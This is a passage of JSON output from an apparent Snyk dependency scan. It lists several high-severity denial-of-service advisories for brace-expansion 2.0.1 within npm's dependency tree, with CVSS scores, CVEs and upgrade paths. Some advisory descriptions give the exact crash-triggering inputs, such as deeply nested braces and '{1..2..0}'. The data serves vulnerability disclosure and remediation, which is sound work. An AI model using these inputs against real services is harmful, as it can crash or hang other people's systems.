"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, 